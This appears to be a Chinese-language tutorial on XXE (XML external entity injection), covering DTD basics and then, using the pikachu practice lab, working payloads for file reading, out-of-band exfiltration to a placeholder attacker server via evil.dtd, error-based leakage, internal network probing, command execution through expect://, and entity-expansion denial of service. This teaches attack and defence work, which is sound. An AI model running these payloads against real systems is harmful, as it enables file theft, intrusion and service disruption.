简介
XML基础概念
- XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。
XXE概念
- XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
- 例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为
simplexml_load_string()
。
XML与HTML的主要差异
- XML被设计为传输和存储数据,其焦点是数据的内容。
- HTML被设计用来显示数据,其焦点是数据的外观。
- HTML旨在显示信息,而XML旨在传输信息。
XML外部实体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <!DOCTYPE note [ <!--定义此文档时note类型的文档--> <!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--> <!ELEMENT to (#PCDATA)> <!--定义to元素为"#PCDATA"类型--> <!ELEMENT from (#PCDATA)> <!--定义from元素为"#PCDATA"类型--> <!ELEMENT head (#PCDATA)> <!--定义head元素为"#PCDATA"类型--> <!ELEMENT body (#PCDATA)> <!--定义body元素为"#PCDATA"类型--> ]]]>
<note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>
|
- 主要看一下DTD-实体。首先让我们了解一下基本的PAYLOAD结构:
- DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。
实体分为一般实体和参数实体
- 一般实体的声明:
<!ENTITY 实体名称 "实体内容">
引用一般实体的方法:&实体名称;
p.s.经实验,普通实体可以在DTD中引用,可以在XML中引用,可以在声明前引用,还可以在实体声明内部引用。
- 参数实体的声明:
<!ENTITY % 实体名称 "实体内容">
引用参数实体的方法:%实体名称;
p.s.经实验,参数实体只能在DTD中引用,不能在声明前引用,也不能在实体声明内部引用。
- 如果实体名称中出现如
<
的特殊字符,解析就会失败。为了避免这种情况,XML用实体引用替换特殊字符。XML预定义了五个实体引用,即用<
、 >
、 &
、 &apos
、 "
替换<
、>
、&
、'
、"
。
DTD实体声明
内部实体声明
<!ENTITY 实体名称 "实体的值">
- 当引用一般实体时,由三部分构成:
&
、实体名
、;
,当是用参数传入xml的时候,&
需URL编码,不然&
会被认为是参数间的连接符号。
- 示例:
1 2 3 4 5 6
| <?xml version = "1.0" encoding = "utf-8"?> <!DOCTYPE test [ <!ENTITY writer "Dawn"> <!ENTITY copyright "Copyright W3School.com.cn"> ]> <test>&writer;©right;</test>
|
外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
- 外部实体可支持http、file等协议。不同程序支持的协议不同,如下图:
- 其中PHP支持的协议会更多一些,但是需要一定的扩展支持:
- 示例:
1 2 3 4 5 6
| <?xml version = "1.0" encoding = "utf-8"?> <!DOCTYPE test [ <!ENTITY file SYSTEM "file:///etc/passwd"> <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> ]> <author>&file;©right;</author>
|
XXE检测
- 以pikachu靶场为例
- 主要的方法是检测所有接受XML作为输入内容端点,抓包观察其是否会返回我们想要的内容。
- 首先检测XML是否会被解析
1 2 3 4
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY words "Hello XXE !">]> <a>&words;</a>
|
- 如果数据包或者页面显示“Hello XXE”的字样,说明表单实体被成功解析
XXE利用
- 以下利用主要基于
libxml2
版本,其中libxml是PHP的xml支持。
- 而libxml版本在2.9.1及以后,默认不解析外部实体,很多利用将无法实现。
文件读取
- 最简单也是最常用的利用方式
- 一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为Blind XXE,可以使用外带数据通道提取数据。
有回显
引入外部实体
- 文件读取的利用就是使用file协议读取文件内容,并输出到页面上
1 2 3 4 5
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY[ <!ENTITY xxe SYSTEM "file:///d:/zys.txt"> ]> <root>&xxe;</root>
|
引入外部参数实体
1 2 3 4 5 6 7 8 9
| <?xml version="1.0" ?> <!DOCTYPE test[ <!ENTITY % file SYSTEM "http://192.168.3.3/pikachu/vul/xxe/hack.dtd"> %file; ]> <root>&xxe;</root>
<!ENTITY xxe SYSTEM 'file:///d:/zys.txt'>
|
无回显
OOB
- 带外数据OOB(out—of—band data),有时也称为加速数据(expedited data)
- 是指连接双方中的一方发生重要事情,想要迅速地通知对方。这种通知在已经排队等待发送的任何“普通”(有时称为“带内”)数据之前发送。带外数据设计为比普通数据有更高的优先级。带外数据是映射到现有的连接中的,而不是在客户机和服务器间再用一个连接。
- 先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。
evil.dtd
的内容,内部的%
号要进行实体编码成%
。1 2 3 4 5 6 7 8 9 10 11 12
| <!DOCTYPE updateProfile [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php"> <!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd"> %dtd; %send; ]> <root>$send;</root>
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>" > %all;
|
- 首先对dtd引用目的是将外部文件
evil.dtd
引入到解释上下文中,然后执行%all
,这时会检测send实体
,在root节点
中引用send
,就可以成功实现数据转发了。
- 访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。
基于报错
- 基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。
- 所以和OOB的构造方式几乎只有url处不同,其他地方一模一样。
通过引入服务器文件
1 2 3
| <!ENTITY % start "<!ENTITY % send SYSTEM 'file:///hhhhhhh/%file;'>"> %start;
|
通过引入本地文件
- 如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd呢?由于XML的广泛使用,其实在各个系统中已经存在了部分DTD文件。按照上面的理论,我们只要是从外部引入DTD文件,并在其中定义一些实体内容就行。
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?xml version="1.0"?> <!DOCTYPE message [ <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag"> <!ENTITY % ISOamso ' <!ENTITY % eval " <!ENTITY &#x25; send SYSTEM 'file://hhhhhhhh/?%file;'> "> %eval; %send; '> %remote; ]> <message>1234</message>
|
- 第一个调用的参数实体是%remote,在/usr/share/yelp/dtd/docbookx.dtd文件中调用了%ISOamso;,在ISOamso定义的实体中相继调用了eval、和send
内网探测
- 和读文件差不多,只不过把URI改成内网机器地址
- 通过有xxe漏洞的网站,向其服务器内网进行判断是否开放,并且index.txt是否存在
1 2 3 4 5 6
| <?xml version ="1.0" encoding="UTF-8"?> <!DOCTYPE xxe [ <!ELEMENT xxe ANY> <!ENTITY test SYSTEM "http://192.168.3.3:80/index.txt"> ]> <x>&test;</x>
|
RCE
- 在安装expect扩展的PHP环境里执行系统命令,当然其他协议也有可能可以执行系统命令
1 2 3 4 5 6
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "expect://id" > ]> <root><name>&xxe;</name></root>
|
DDoS
- 支持实体测试:
1 2 3 4 5 6 7
| <!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY a0 "dos" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;"> ]> <data>&a2;</data>
|
- 如果解析过程变的非常缓慢,则表明测试成功,即目标解析器配置不安全可能遭受至少一种 DDoS 攻击。
绕过姿势
- 若
ENTITY
、SYSTEM
、file
等关键词被过滤
- 使用编码方式绕过
参考自:CTF XXE、XXE知识总结,有这篇就够了!、XXE&XML外部实体注入攻击